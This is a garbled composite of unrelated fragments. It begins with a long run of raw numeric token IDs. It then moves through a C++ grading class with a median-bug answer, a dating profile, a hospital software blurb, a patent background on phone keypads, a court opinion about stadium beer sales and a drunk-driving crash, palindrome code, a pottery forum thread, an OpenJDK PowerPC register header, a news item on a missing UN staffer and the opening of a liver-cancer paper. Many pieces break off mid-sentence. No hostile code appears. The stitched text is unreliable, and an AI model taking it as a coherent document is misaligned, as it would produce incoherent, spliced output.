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253, 2720, 1445, 15, 380, 5673, 3797, 13265, 3520, 16020, 275, 247, 495, 6027, 21, 4315, 327, 247, 2914, 2454, 273, 253, 4481, 15, 13728, 273, 253, 13265, 16020, 403, 7922, 247, 930, 1560, 13, 581, 930, 1560, 591, 6409, 15, 16244, 16020, 403, 671, 7922, 2505, 5810, 13, 1264, 5810, 591, 6409, 15, 6295, 253, 10704, 285, 2505, 1894, 23768, 403, 4860, 327, 253, 2454, 273, 253, 6409, 15, 3976, 5468, 403, 4236, 407, 806, 13887, 247, 4438, 1128, 6370, 1560, 390, 2505, 1894, 1128, 3529, 22649, 534, 7140, 273, 1894, 4916, 5966, 407, 17178, 253, 6409, 15, 15092, 2505, 4438, 13, 253, 1798, 1894, 5966, 273, 253, 1264, 8653, 327, 247, 1677, 6409, 2454, 310, 22266, 407, 253, 1180, 273, 2069, 253, 6409, 310, 13661, 1309, 247, 1677, 2180, 15, 187, 2214, 1650, 13, 275, 7705, 15, 337, 253, 6409, 275, 253, 1755, 4194, 4766, 5084, 273, 253, 5673, 310, 7922, 253, 930, 1560, 374, 285, 253, 2505, 5810, 247, 13, 270, 13, 285, 260, 15, 4794, 281, 253, 1332, 13, 1223, 275, 2505, 4438, 247, 2608, 39145, 253, 6409, 581, 673, 281, 5224, 253, 1894, 247, 323, 5438, 15, 1916, 5224, 1894, 270, 323, 5438, 13, 253, 2608, 39145, 253, 6409, 767, 12640, 2069, 15, 10244, 13, 253, 2608, 39145, 253, 6409, 1264, 12640, 2069, 281, 5224, 1894, 260, 323, 5438, 15, 18374, 2979, 273, 5810, 326, 476, 830, 3000, 285, 14683, 403, 4860, 407, 10804, 34373, 17178, 253, 4569, 3520, 6409, 253, 4569, 1180, 273, 6409, 39145, 323, 1016, 6774, 1894, 275, 253, 6799, 3159, 390, 6197, 15, 831, 5673, 285, 1332, 403, 973, 14, 4304, 275, 253, 1445, 285, 556, 253, 5750, 273, 1146, 8566, 275, 1979, 28, 2299, 13, 253, 1332, 556, 253, 18928, 273, 1146, 3468, 2429, 342, 247, 2629, 5673, 1955, 281, 253, 1180, 273, 6409, 39145, 2424, 281, 4901, 1142, 273, 253, 2505, 5810, 15, 187, 688, 7705, 15, 374, 247, 1894, 5857, 5673, 285, 1332, 2074, 281, 253, 581, 2011, 275, 7705, 15, 337, 310, 2011, 15, 380, 1332, 310, 9093, 8931, 281, 253, 581, 2011, 275, 7705, 15, 337, 15, 380, 5673, 310, 1027, 275, 326, 253, 16020, 403, 2602, 10149, 13, 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5810, 323, 5438, 310, 15246, 275, 326, 247, 1894, 310, 4860, 407, 3365, 17178, 253, 6409, 326, 12646, 253, 6799, 1894, 327, 253, 6409, 2454, 15, 831, 1332, 6131, 253, 5750, 273, 7938, 2505, 5857, 18819, 984, 2709, 1894, 39145, 403, 417, 3058, 281, 3609, 667, 273, 253, 5810, 15, 329, 18928, 273, 253, 5673, 310, 326, 281, 2525, 1979, 10806, 253, 16020, 403, 1355, 4103, 281, 247, 6867, 2608, 434, 41719, 532, 15, 831, 5644, 281, 17357, 285, 1679, 7899, 1894, 5857, 2429, 342, 247, 2629, 5673, 15, 187, 688, 7705, 15, 577, 247, 1894, 5857, 5673, 285, 1332, 2074, 281, 253, 581, 2011, 275, 7705, 15, 495, 310, 2011, 15, 380, 1332, 310, 9093, 8931, 281, 253, 581, 2011, 275, 7705, 15, 495, 15, 380, 5673, 310, 1027, 275, 326, 253, 16020, 403, 2602, 10149, 13, 2581, 685, 3520, 16020, 15, 6975, 253, 5673, 273, 7705, 15, 495, 13, 436, 5673, 3400, 2217, 16020, 326, 1046, 1894, 273, 247, 6867, 30156, 556, 697, 1211, 2234, 15, 3976, 5468, 403, 4860, 323, 5438, 407, 3365, 17178, 253, 2602, 2234, 326, 12646, 253, 6799, 1894, 15, 743, 5750, 273, 436, 5673, 689, 253, 581, 273, 7705, 15, 495, 310, 326, 12471, 273, 2710, 10149, 476, 320, 25920, 13, 323, 1650, 253, 8653, 5370, 273, 2505, 5810, 476, 320, 25920, 323, 247, 5370, 273, 31437, 5810, 15, 3900, 436, 5673, 6131, 5520, 3596, 321 ]

Student::Student(string tname){ name = tname; } double Student::getHWWeight(){ return HWWeight; } void Student::setHWWeight(double arg){ HWWeight = arg; } double Student::getmidtermExamWeight(){ return midtermExamWeight; } void Student::setmidtermExamWeight(double arg){ midtermExamWeight = arg; } double Student::getfinalExamWeight(){ return finalExamWeight; } void Student::setfinalExamWeight(double arg){ finalExamWeight = arg; } double Student::getmidterm(){ return midterm; } void Student::setmidterm(double arg){ midterm = arg; } double Student::getfinal(){ return final; } void Student::setfinal(double arg){ final = arg; } void Student::addHW(double arg){ HW.push_back(arg); } void Student::readHW(istream &i){ int x; i >> x ; while(x >= 0){ HW.push_back(x); i >> x; } } double Student::getHWAverage(){ return VecAverage(HW); } double Student::getHWMedian(){ return VecMedian(HW); } Thank you. A: Consider your median function T VecMedian(vector<T> arg){ int medians = arg.size()/2; medians+=1; sort(arg.begin(),arg.end() ); return arg.at(medians); } If the input arg size is 2.. you can only access arg[0] and arg[1]; your medians will be 2 and thus out of range Firstly, my name's Rick, not Jack... Secondly, I now live in Osoyoos, not Chilliwack, and thirdly, I do not use the'meet me' function, so please feel free to send me a message instead. Things are moving fast for me... The new house in Osoyoos is up and framed and I'm working on the interior... My Chilliwack home is rented... Yay!!! Hoping to have it all finished and be moved in by Xmas (even if it still has plywood floors!!!)... If you think you'd like to help in some way, shape or form, and are ready for a little adventure, let me know... We'll get to know each other by nailing some drywall, painting a wall, shooting some pictures, and splitting a bottle of wine after... ;o) It is very important to me that you are SLIM and are a non-smoker (as in DOESN'T SMOKE... ANYTHING)... Please have a recent photograph to share... Thanks for reading this, and if we never connect, lots of luck in your search... Have a great day... First Date Work on the colour scheme together...*wink*... Mail Settings To send a message to Chilliwack Jack you MUST meet the following criteria: FemaleData Analyzer is a dedicated application created for the University Hospital for Children in Kraków-Prokocim. It will help in processing of data aquisited by medical devices such as pulsoximeters and respirators. The software has been integrated with the existing informatic system in the hospital. It covered for example file formats that are used to store data. As one of many functions ISM Data Analyzer is able to point out incorrect data nad correct (or complete) them automaticly. The data are aquisited form many different devices they also have to be unified and merged. One of the most important functions is support of the analysis and evaluation of many factors from the aquisited data and their graphical representation. ISM Data Analuzer helps to increase productivity in field of large data analysys. This is why it helps to improve the quality of services ofeered by University Hospital for Childer.1. Technical Field This description generally relates to the field of electronic devices and, more particularly, to user interfaces of electronic devices. 2. Description of the Related Art Electronic devices often require entry of data in the form of words, sentences, letters, numbers, characters and symbols by a user in order to perform their designed functions. A typical character entry interface that meets this requirement provides a plurality of buttons, each sized to be easily pressed by a human fingertip, with one character assigned to each button and one button for each character that a user could want to select. In English-language cultures, the QWERTY keyboard is one such standard interface and this interface is commonly found on typewriters and computers. Some electronic devices, either by design or due to a constraint, do not use the standard interface. Portable electronic devices are an example of an entire category of electronic devices that do not typically provide a standard character entry interface. Users of portable devices typically demand that the device fit easily in a pocket or purse. To meet this requirement, portable devices cannot at the same time offer finger-sized keys and enough keys for all the letters of an alphabet. As many portable devices have functions that require character entry, this leads to a conflict between providing a user interface that offers complete and convenient functionality but in a size that can still be carried inside a user's pocket. Many alternative methods for solving this conflict exist in the prior art, as will be discussed below. In FIG. 1 a cellular phone is shown having a character entry interface and method known in the prior art. The interface includes twelve physical buttons in a 3×4 matrix on a front face of the phone. Ten of the twelve buttons are assigned a numeral, one numeral per button. Eight buttons are also assigned text characters, three characters per button. Both the numerical and text character assignments are indicated on the face of the button. Characters are selected by first choosing a mode—numeral or text character—that identifies which category of character becomes entered by pressing the button. Within text mode, the particular character entered of the three displayed on a given button face is differentiated by the number of times the button is pressed during a given period. For example, in FIG. 1 the button in the top row middle column of the interface is assigned the numeral 2 and the text characters a, b, and c. According to the method, while in text mode a user presses the button one time to indicate the character a for selection. To indicate character b for selection, the user presses the button two consecutive times. Similarly, the user presses the button three consecutive times to indicate character c for selection. Sequences of characters that can form words and sentences are indicated by consecutively pressing the appropriate physical button the appropriate number of button presses for each subsequent character in the desired word or sentence. This interface and method are well-known in the art and has the advantage of being compact in size; however, the method has the disadvantage of being slow compared with a standard interface due to the number of button presses required to enter many of the text characters. In FIG. 2 a character entry interface and method similar to the one shown in FIG. 1 is shown. The method is essentially identical to the one shown in FIG. 1. The interface is different in that the buttons are soft keys, meaning that the buttons are graphically represented on changeable display, rather than physical buttons. An advantage of this interface is that it is configurable, because the graphical representation of the keys can be changed on the display. Therefore, the assignment of characters to buttons, the arrangement of the keys, and the overall size of the interface are variable. The method, however, still has the disadvantage of being slow compared with a standard interface due to the number of button presses needed to enter many of the text characters. In FIG. 3 another user interface and text entry method known in the art is shown. This interface has thirty keys distributed among three rows, ten keys per row. This interface provides enough buttons that every character of a typical alphabet has its own key. Numeric characters still share keys with a text character, therefore a selection between numeric and text mode is still required. The method of indicating characters for selection is straightforward in that a character is indicated by simply pressing the button that displays the desired character on the button face. This method offers the advantage of faster text entry speeds because multiple character presses are not needed to select any of the characters. A disadvantage of the interface is that to meet size constraints the buttons are small relative to a typical user's fingertip. This leads to slower and less accurate character entry compared with a standard interface. In FIG. 4 a character entry interface and method similar to the one shown in FIG. 3 is shown. The method is essentially identical to the one shown in FIG. 3. The interface is different in that the buttons are soft keys, rather than physical buttons. Like the interface of FIG. 3, this interface provides enough buttons that every character of a typical alphabet has its own key. Characters are indicated for selection by simply pressing the soft key that displays the desired character. An advantage of this interface over the one of FIG. 3 is that panels of various keys can be exchanged, for example the displayed panel of text characters can be exchanged for a panel of numeric characters. While this interface offers improved configur

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law negligence claim versus defendants. At this point in the proceedings, the jury had heard the following evidence. At approximately 11:00 a.m. on October 24, 1999, Lanzaro and Michael Holder arrived at Giants Stadium where the men attended a football game. Lanzaro admitted that he did not clearly remember all of the events of the day but recalled that while tailgating before the game, he had consumed two or three of the eight twelve-ounce beers he had in his truck. He described himself as a binge drinker. The men entered the stadium at approximately 12:30 p.m. for the 1:00 p.m. kickoff. Lanzaro, who had purchased his ticket from a scalper, did not sit with Holder. Rather, he sat in the third or upper tier in *485 section 310. Lanzaro admitted that during the first half of the game he purchased two or more sixteen ounce light beers from an unidentified individual operating a concession stand in the upper tier. Lanzaro "guzzl[ed]" the beer, drinking approximately one beer every ten minutes, and "never had an... empty hand," claiming he was "drunk" by the end of the first quarter. Just before halftime, at approximately 2:30 p.m., Lanzaro left his seat and walked down the "spirals," the ramps leading to the different stadium levels, to meet Holder. En route, Lanzaro, who said he was "shit-faced," purchased "four or more" sixteen ounce light beers from an unidentified individual operating a portable beer cart in the lower level spiral. Lanzaro claimed he told the server how many beers he wanted and then "duked" or tipped the server an extra ten dollars to bypass the stadium's two-beer limit. Although Lanzaro could not recall his conversation, he said he had not been abusive, vulgar, or disrespectful because he wanted to be served, explaining that "if you're a happy drunk, people give you beer. If you're a disrespectful drunk, they cut you off." Lanzaro walked approximately fifty to seventy-five feet to meet George Lanzaro, his brother, Lisa Lanzaro, his sister-in-law, and Holder in the spiral by Gate D. George and Lisa, who had been sitting with Holder, confirmed that Lanzaro walked toward them carrying six sixteen-ounce beers. George claimed that Lanzaro appeared to be intoxicated because he had "a blank sta[re] look," was animated, loud, and had "a very slight sway." Lisa confirmed that Lanzaro appeared intoxicated because he was slurring his words, using rapid hand movements while talking, "his eyes were drunk... [l]ike floating eyeballs," and he "cupped" his cigarette. Lisa said she gave Lanzaro a sandwich because she "thought he was drunk." Neither Lisa nor George Lanzaro observed Lanzaro purchase the beer. Holder testified at trial that he could not recall whether Lanzaro had appeared intoxicated but admitted that at depositions he had testified that Lanzaro had not seemed drunk. In any event, Lanzaro maintained that he drank only one or two of the beers he bought in the spiral and offered the rest to his family. Lanzaro then left and purchased marijuana in the spirals from an unidentified individual, but claimed he only had a "couple of hits" because he "was too drunk." He admitted, however, that he likes to smoke marijuana because it makes him "feel a little bit more drunk." Plaintiffs produced no witnesses that actually observed Lanzaro purchasing beer at the stadium on the date of the accident, nor did they submit any internal reports that showed sales to visibly intoxicated persons on that date. For example, the reports prepared by various employees for that date revealed, in relevant part that: cashier number two in section 108 sold more than two beers to a customer; a cashier at stand 204 on the Mezzanine level sold six beers to a customer; and a bartender was the subject of a disciplinary report for consuming a beer while on duty. Moreover, all of the beer servers who were working in the vicinity of Spiral D had no recollection of serving Lanzaro and further claimed they had not served, or observed service of, visibly intoxicated customers. Nevertheless, Officer Corey Lange of the Hasbrouck Heights Police Department, who was not present at the stadium on the date in question but who had reported to the scene of the accident, testified in uniform that during the approximately ten games he had attended sometime prior to 1999, he observed many visibly intoxicated people, including some of his friends, served beer, and had *486 never seen anyone refused service. Lange said he stopped attending the Giants games in 2001 because he did not "want to be bothered dealing with the problems that occur in the stadium." Similarly, Lanzaro testified that he had been served at prior games at Giants Stadium when he was visibly intoxicated and that he had never been refused service. Holder also represented that he had been served beer at the stadium while visibly intoxicated. Lanzaro and Holder left the stadium sometime around the beginning of the third quarter. Lanzaro drank a beer in the parking lot before driving to Shakers, a go-go bar. While there, Lanzaro ordered a light beer, but claimed he had only "a couple sips" because he was "done," meaning intoxicated, and then he and Holder left. Lanzaro drove to a liquor store where Holder bought a six-pack of beer and a bottle of champagne, which they brought to The Gallery, another go-go bar. The Gallery did not have a liquor license but allowed their patrons to bring alcohol. It provided cups, ice and service. Lanzaro and Holder remained at The Gallery for approximately forty minutes during which time Lanzaro admitted he may have consumed a beer, but said that he and Holder did not drink the champagne because it was for the dancers. Gunther Bilali, the owner of The Gallery, set forth in deposition testimony read to the jury that he was not present at the time, but the hosts at his establishment would not allow a visibly intoxicated patron to enter. After leaving The Gallery, Lanzaro drove to a fast food restaurant where he and Holder ate. At approximately 5:47 p.m., shortly after leaving the restaurant, Lanzaro swerved across the lane of traffic and struck the 1999 Toyota Corolla driven by Ronald Verni. The parties stipulated that "Lanzaro's driving was the cause of the accident." Upon arrival at the scene, Officer Lange and Patrolman Thomas Barnett of the East Rutherford Police Department observed that Fazila was in the back seat "wedged behind the driver" and that Antonia, age two, who was also in the back seat, was unconscious. Lange said that Lanzaro, who was standing on a "corner in a daze," appeared to be intoxicated. He noted that Lanzaro was swaying, his eyes were bloodshot, his hand movements were fumbling and slow, his face was flushed, and there was a "strong odor" of alcohol on his breath. Sergeants George Netelkos and George Shihanian of the Hasbrouck Heights Police Department, who arrived shortly after the accident, observed that Lanzaro was intoxicated. On a scale of one-to-ten, Netelkos described Lanzaro's level of intoxication as a ten. A test taken at 6:25 p.m. confirmed that Lanzaro had a blood-alcohol concentration (BAC) of.266 percent. Lanzaro was arrested, subsequently convicted of vehicular assault, and sentenced to a five-year term. Fred DelMarva, plaintiffs' expert in the area of service and training relating to alcohol service, opined that defendants violated the applicable industry standard of care in failing to properly train their employees by requiring them to be TIPS certified. He explained that the six-hour-long Training for Intervention Procedure for Servers (TIPS) program effectively teaches alcohol servers how to spot behavioral cues of intoxicated patrons, and asserted that a study showed that TIPS-trained servers never served customers who had a BAC exceeding.10 percent. However, only 59% of beer servers, 21% of cashiers, and 0% of the alcohol compliance officers at the stadium were TIPS certified. *487 Moreover, according to DelMarva, various reports and checklists revealed that HMS and ASM violated their alcohol service policy on the date of the accident and on many other dates. He explained that defendants' "standard practice" was to serve visibly intoxicated people and not to serve only those patrons who were "excessively intoxicated." He maintained that HMS and ASM also violated the TIPS policy, which instructs servers to only sell one twelve-ounce beer per transaction, not two sixteen-ounce beers. Furthermore, Dr. Richard Saferstein, plaintiffs' expert toxicologist, testified that at approximately 2:30 p.m. on October 24, 1999, Lanzaro was visibly intoxicated when he was served beer at the stadium. Saferstein maintained that an average person would exhibit signs of visible intoxication at a.10 percent BAC. Those signs include poor body gait, inability to stand and walk properly, poor muscular coordination, slow and unsteady hand movement, and "perhaps but not necessarily slurred speech and... being boisterous and loud." Saferstein also cited to a study where 100 percent of TIPS-trained alcohol servers recognized individuals with a.10 percent or higher BAC as visibly intoxicated. He conceded, however, that "tolerant" drinkers, or individuals who have become acclimated to alcohol, generally do not exhibit signs of visible intoxication at a.10 percent BAC. He concluded,

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check that you're looking at a longer string //this really could be optimized anyway, but here it is for simplicity if (substring.Length > largest.Length && IsPalindrome(substring)) { largest = substring; } } } return largest; } With this, some tests: banana --> anana bananab --> bananab zzz --> zzz abcdddeeedddc --> cdddeeedddc a --> a abcbabbbbbbab --> babbbbbbab Who has a great clay/ceramics program in your area? | Q.O.W. 1/31/2013 Time for "lauding the locals" here. Many of us have ceramics programs,.... be they community education, craft centers, or academic institutions........ that we feel offer some great learning opportunities. So time to "share the wealth" of information. Who has a great clay/ceramics program in your area? Check out joining the Potters Council ( www.potterscouncil.org ) for more networking possibilities, peer mentoring opportunities, discounts on books, magazines, and DVDs, health insurance, credit card merchant programs, and many other member benefits. Over a year ago my wife bought me pottery classes at alocal pottery here in Snohomish, WA. It had been about 15 years since Ihad taken clay seriously so was VERY rusty. She knew of my love for clayand wanted me to take it back up. Ifigured I would take a quick class as a one time fun thing as I have done overthe years. Upon entering the Potteryfor the first time I knew it was real. Not a trendy strip mall space with slick furniture and lighting. But a real working pottery. It took a good 6 months to get back into formand have loved the caring and nurturing environment. Bruning Pottery in Snohomish, WA is a full productionpottery as well as a teaching studio. They have been in business for 30 years and are in an old building inthe historic area of town. After about 8months Larry was encouraged to get my own studio together to help me reallylearn some aspects like glaze formulas and high firing. Even though I have my own studio now I willcontinue to take a class or two each year. I would encourage anyone who is in the area to giveBruning a try, you will not regret it. There are throwers and hand builders in each class and a huge selectionof glazes as well as all the equipment needed. Larry has a large +75 cf high fire car kiln and fires it about twice aweek with both student pots as well as his own production. I like the fact that is a real pottery that has aproduction facility and professional potters filling orders and running thatproduction. It is a real eyeopener. I also like the functional wareemphasis that Larry teaches as this is what appeals to me. There is nothing wrong with sculpture or non-functionalart pieces, but that does not appeal to me. His website is super plain, but he does it all himselfand likes it that way. Where I live in Southern California, (the area around Pasadena and Ontario) there are two full range ceramic programs of note. The first is the Baldwin Park Adult Ceramics Program. They fire from cone 06 to 10 and provide glazes for ^5 and ^10. There are electric wheels (in a separate room) and tables for hand building. There is a fine instructor as well as an extruder and a fine slab roller. This is more like an artist's studio than a class although there is plenty of instruction for all from beginners to advanced potters. The second is the Ceramic Services Inc. in Ontario. While this is a working Kiln manufacturing shop it is also a true a potters studio. While they will accommodate ^06 and ^5 firings they mostly do ^10 and RAKU! They have about 25 glazes but they have materials for studio members so that you can make up you own glazes. There are about 10 electric wheels and able table space. They also have an extruder and slab roller. In addition they stock clay, glaze and tools for purchase. Regular demonstrations and workshops are provided. Of the two potteries, BPAC is great for learners of all ages and skills, CSI is more of an artist studio with limitless potential for inspiration, networking and camaraderie. I live in the Triad area of North Carolina (High Point, Greensboro, Winston-Salem). The Sawtooth School for Visual Art in Winston-Salem has a fantastic ceramic program, now featuring separate newly designed wheel throwing and hand-building studios with all the necessary equipment, a separate glazing room with a choice of between 15-20 cone 6 glazes (reduction), a separate glaze mixing room, and two gas kilns. The program coordinator has been there for about 20 years I can't say enough about how well he operates the program and how much he cares about the students. He offers several workshops throughout a session (four sessions per year), sometimes featuring well-known artists from around the country. Students have access to the studios whenever a class is not in session. Check it out at www.sawtooth.org I am fortunate to live in Helena Montana home of Archie Bray Foundation where potters from around the world come to learn and teach. The Bray helped locals start Clay Arts Guild of Helena which I was a member of for six years, now I have a kiln and studio at home. Sometimes I miss the interaction with other artist but I don't miss the politics/rules/stress that comes with keeping the doors open and keeping everyone happy. I purchase my supplies from Archie Bray Clay Biz, my videos and books from Ceramic Arts Daily, some day in the future will have a mentor from the Potters Council..... The cottage is home to four different guilds - Stained Glass, Weaving, Palette and Pencil and of course, pottery. They have courses constantly and membership allows you 24 hour access to the facilities. I'm learning so much there (newby potter - 1 year old ). And they also have sales twice a year. Here in Boise, most of the middle schools used to teach ceramics; all the high schools have ceramics, and of course, Boise State University has a really good ceramics program. There's a community based school, Fort Boise, for adults. Some of the "students" have been there long enough to have tenure. To get into a class there comes down to WHO you know, not what. Then there's The Potters Center, the local supplier for the nearby school districts, and for most studio potters. They teach classes, and have studio space available for local potters. They also provide firing for the public--06 bisque and cone 5 glaze. All of these services are fee based. Here in the Northwest corner of Connecticut, we are fortunate to have an adult ed class at the local community college. The studio is well equipped with 20 wheels, 2 electric kilns, a slab roller, an extruder, a spray booth (in the separate glaze room) and plenty of tables to work on. We share the space with the "for credit" classes. The Adult Ed class is co-taught by 2 wonderfully talented potters. The content of the class is determined by the needs of the students. Weekly demos are tuned to the interests of the students and challenges are issued to each individual's level of ability. I am taking classes for the third year and am learning new things all the time. I recently moved into the Clay Underground in San Francisco (http://www.theclayunderground.com) which (shameless plug) still has space available. If you're looking for studio space in San Francisco, you can't really do better without buying a house ($$$$). The Clay Underground also runs some classes, and the full-time artists there (like me) tend to drop by and help out the students on general technique: http://www.theclayun...nd.com/classes/. There's currently 8 Shimpo wheels (these seem to be a favorite with schools now), a slab roller, an extruder, and three electric kilns. It's also more spacious than just about anything in San Francisco. If that's not your speed, I can also recommend: * Sharon Art Studio in Golden Gate Park. This is a subsidized student facility with a great faculty and terrific, friendly group of students. Drawbacks are (a) since it's a student facility, you can't sell your work, and ( there's a waiting list to get in. * SMArt Gallery and Studio, in the Tenderloin. Run by a former SFSU professor of ceramics (Steven Allen, who's been featured in CM), this studio has 6 Shimpo wheels, 2 electric kilns and a very serious glaze lab. Quite cramped compared to Clay Underground, but has a serious gallery attached if you want Steve's help selling your work.Spicy chicken soup recipes ) Chicken Halang Halang is the name of our featured chicken dish for today – believed to be a hybrid of our well-loved Tinolang Manok (Ginger-based ChickenSoup) and Ginataang Manok (Chicken and Coconut curry) because of the similarities in the ingredients During the Holiday my friend gave me this Lind chili dark chocolate bar,

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its affiliates. All rights reserved. * Copyright (c) 2012, 2017 SAP SE. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. * */ #ifndef CPU_PPC_VM_REGISTER_PPC_HPP #define CPU_PPC_VM_REGISTER_PPC_HPP #include "asm/register.hpp" // forward declaration class Address; class VMRegImpl; typedef VMRegImpl* VMReg; // PPC64 registers // // See "64-bit PowerPC ELF ABI Supplement 1.7", IBM Corp. (2003-10-29). // (http://math-atlas.sourceforge.net/devel/assembly/PPC-elf64abi-1.7.pdf) // // r0 Register used in function prologs (volatile) // r1 Stack pointer (nonvolatile) // r2 TOC pointer (volatile) // r3 Parameter and return value (volatile) // r4-r10 Function parameters (volatile) // r11 Register used in calls by pointer and as an environment pointer for languages which require one (volatile) // r12 Register used for exception handling and glink code (volatile) // r13 Reserved for use as system thread ID // r14-r31 Local variables (nonvolatile) // // f0 Scratch register (volatile) // f1-f4 Floating point parameters and return value (volatile) // f5-f13 Floating point parameters (volatile) // f14-f31 Floating point values (nonvolatile) // // LR Link register for return address (volatile) // CTR Loop counter (volatile) // XER Fixed point exception register (volatile) // FPSCR Floating point status and control register (volatile) // // CR0-CR1 Condition code fields (volatile) // CR2-CR4 Condition code fields (nonvolatile) // CR5-CR7 Condition code fields (volatile) // // ---------------------------------------------- // On processors with the VMX feature: // v0-v1 Volatile scratch registers // v2-v13 Volatile vector parameters registers // v14-v19 Volatile scratch registers // v20-v31 Non-volatile registers // vrsave Non-volatile 32-bit register // Use Register as shortcut class RegisterImpl; typedef RegisterImpl* Register; inline Register as_Register(int encoding) { assert(encoding >= -1 && encoding < 32, "bad register encoding"); return (Register)(intptr_t)encoding; } // The implementation of integer registers for the Power architecture class RegisterImpl: public AbstractRegisterImpl { public: enum { number_of_registers = 32 }; // general construction inline friend Register as_Register(int encoding); // accessors int encoding() const { assert(is_valid(), "invalid register"); return value(); } inline VMReg as_VMReg(); Register successor() const { return as_Register(encoding() + 1); } // testers bool is_valid() const { return ( 0 <= (value()&0x7F) && (value()&0x7F) < number_of_registers); } bool is_volatile() const { return ( 0 <= (value()&0x7F) && (value()&0x7F) <= 13 ); } bool is_nonvolatile() const { return (14 <= (value()&0x7F) && (value()&0x7F) <= 31 ); } const char* name() const; }; // The integer registers of the PPC architecture CONSTANT_REGISTER_DECLARATION(Register, noreg, (-1)); CONSTANT_REGISTER_DECLARATION(Register, R0, (0)); CONSTANT_REGISTER_DECLARATION(Register, R1, (1)); CONSTANT_REGISTER_DECLARATION(Register, R2, (2)); CONSTANT_REGISTER_DECLARATION(Register, R3, (3)); CONSTANT_REGISTER_DECLARATION(Register, R4, (4)); CONSTANT_REGISTER_DECLARATION(Register, R5, (5)); CONSTANT_REGISTER_DECLARATION(Register, R6, (6)); CONSTANT_REGISTER_DECLARATION(Register, R7, (7)); CONSTANT_REGISTER_DECLARATION(Register, R8, (8)); CONSTANT_REGISTER_DECLARATION(Register, R9, (9)); CONSTANT_REGISTER_DECLARATION(Register, R10, (10)); CONSTANT_REGISTER_DECLARATION(Register, R11, (11)); CONSTANT_REGISTER_DECLARATION(Register, R12, (12)); CONSTANT_REGISTER_DECLARATION(Register, R13, (13)); CONSTANT_REGISTER_DECLARATION(Register, R14, (14)); CONSTANT_REGISTER_DECLARATION(Register, R15, (15)); CONSTANT_REGISTER_DECLARATION(Register, R16, (16)); CONSTANT_REGISTER_DECLARATION(Register, R17, (17)); CONSTANT_REGISTER_DECLARATION(Register, R18, (18)); CONSTANT_REGISTER_DECLARATION(Register, R19, (19)); CONSTANT_REGISTER_DECLARATION(Register, R20, (20)); CONSTANT_REGISTER_DECLARATION(Register, R21, (21)); CONSTANT_REGISTER_DECLARATION(Register, R22, (22)); CONSTANT_REGISTER_DECLARATION(Register, R23, (23)); CONSTANT_REGISTER_DECLARATION(Register, R24, (24)); CONSTANT_REGISTER_DECLARATION(Register, R25, (25)); CONSTANT_REGISTER_DECLARATION(Register, R26, (26)); CONSTANT_REGISTER_DECLARATION(Register, R27, (27)); CONSTANT_REGISTER_DECLARATION(Register, R28, (28)); CONSTANT_REGISTER_DECLARATION(Register, R29, (29)); CONSTANT_REGISTER_DECLARATION(Register, R30, (30)); CONSTANT_REGISTER_DECLARATION(Register, R31, (31)); // // Because Power has many registers, #define'ing values for them is // beneficial in code size and is worth the cost of some of the // dangers of defines. If a particular file has a problem with these // defines then it's possible to turn them off in that file by // defining DONT_USE_REGISTER_DEFINES. Register_definition_ppc.cpp // does that so that it's able to provide real definitions of these // registers for use in debuggers and such. // #ifndef DONT_USE_REGISTER_DEFINES #define noreg ((Register)(noreg_RegisterEnumValue)) #define R0 ((Register)(R0_RegisterEnumValue)) #define R1 ((Register)(R1_RegisterEnumValue)) #define R2 ((Register)(R2_RegisterEnumValue)) #define R3 ((Register)(R3_RegisterEnumValue)) #define R4 ((Register)(R4_RegisterEnumValue)) #define R5 ((Register)(R5_RegisterEnumValue)) #define R6 ((Register)(R6_RegisterEnumValue)) #define R7 ((Register)(R7_RegisterEnumValue)) #define R8 ((Register)(R8_RegisterEnumValue)) #define R9 ((Register)(R9

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staffer said to be a Canadian adviser VANCOUVER — A United Nations staffer who went missing along the Syria-Israel border is a Canadian legal adviser to the commander of the UN mission on the Golan Heights, a source who says he met with the missing man told JTA. Media reports have identified the missing staff member as a legal adviser to the United Nations Disengagement Observer Force. The United Nations has confirmed a member is missing from the peacekeeping force. "We can confirm that a staff member is not accounted for and we are in touch with the relevant parties to determine what has happened," UN deputy spokesman Eduardo del Buey said Monday. The source familiar with the missing staff member told JTA he had met with the man, who he identified as Carl Campeau, in Israel recently and that Campeau is a Canadian civilian staffer unaffiliated with the Canadian government. The source, who requested anonymity, also told JTA that Campeau might hold dual Canadian-Austrian citizenship, as Campeau said his son was Austrian. Campeau discussed the security situation of the UN observer force with the source at length during his visit, the source said, and said it was a serious concern to the peacekeeping mission. The Times of Israel reported Monday that Syrian rebels had taken control of the entire Syrian side of the border with Israel, except for the Quneitra border crossing. The rebels are wary of taking the border crossing due to the political ramifications, the news website reported. A correspondent with the Sunday Times of London in Damascus reported on Twitter that Campeau was kidnapped six days ago by what sources said were "criminal gangs." Reached by email on Feb. 27, a spokeswoman for the Canadian Department of Foreign Affairs told The CJN that Canada was aware a member of the United Nations Disengagement Observer Force mission was unaccounted for in Syria, but would not say whether the staffer was Canadian. "We are aware of reports on a missing UN employee in Syria. We are pursuing all appropriate channels to seek further information and are in contact with UN authorities," Chrystiane Roy, a spokesperson for the department, said. Canada pulled out of the peacekeeping force in 2006, leaving two officers for logistical support. The number of officers was later upgraded to three. But according to media reports last fall, the Canadians withdrew their remaining officers from the force in September as the fighting in Syria spilled into the demilitarized zone along the border. The peacekeeping mission has operated on the border between Syria and the Golan Heights since 1974, following the Yom Kippur War in 1973. The UN force has approximately 1,150 members; the peacekeeping soldiers come from Austria, Croatia, India, Japan and the Philippines.Background {#Sec1} ========== Hepatocellular carcinoma (HCC) is one of the most aggressive malignancies worldwide, being recognized as the third leading cause of cancer-related deaths \[[@CR1], [@CR2]\]. HCC is the fifth most common malignancy in men and the seventh among women \[[@CR3]\]. The incidence of HCC depends on geography, and most of the burden is in developing countries, occurred with hepatitis. The situation is more severe in China, with poorer 5-year survival \[[@CR4]\]. The tumorigenesis of HCC is a multistage process including noncoding and protein-coding genes. MiRNAs are found to be deregulated in most malignancies, 